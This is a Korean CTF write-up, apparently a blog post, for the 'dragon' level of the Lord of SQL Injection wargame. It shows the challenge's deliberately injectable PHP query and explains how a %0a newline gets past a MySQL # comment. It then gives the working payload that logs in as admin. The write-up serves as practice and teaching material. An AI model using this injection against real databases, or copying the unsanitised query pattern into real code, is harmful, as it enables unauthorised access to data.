728x90
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("dragon");
  highlight_file(__FILE__); 
?>

guest뒤에 #으로 주석처리가 된다. mysql에서 #은 한줄 주석 처리다.

pw에 %0a(개행) 문자를 삽입하여 다음 줄로 줄바꿈으로써 주석을 우회한다.

그리고 앞에 id='guest'가 살아있으므로 and pw='' 를 이용하여 guest 조건을 거짓으로 만든다.

답: ?pw=?%0a and pw='' or id='admin

728x90

'Lord of SQL Injection' 카테고리의 다른 글

dark_eyes  (0) 2023.01.01
iron_golem  (0) 2023.01.01
xavis  (2) 2023.01.01
nightmare  (0) 2022.12.23
zombie_assassin  (0) 2022.12.23

+ Recent posts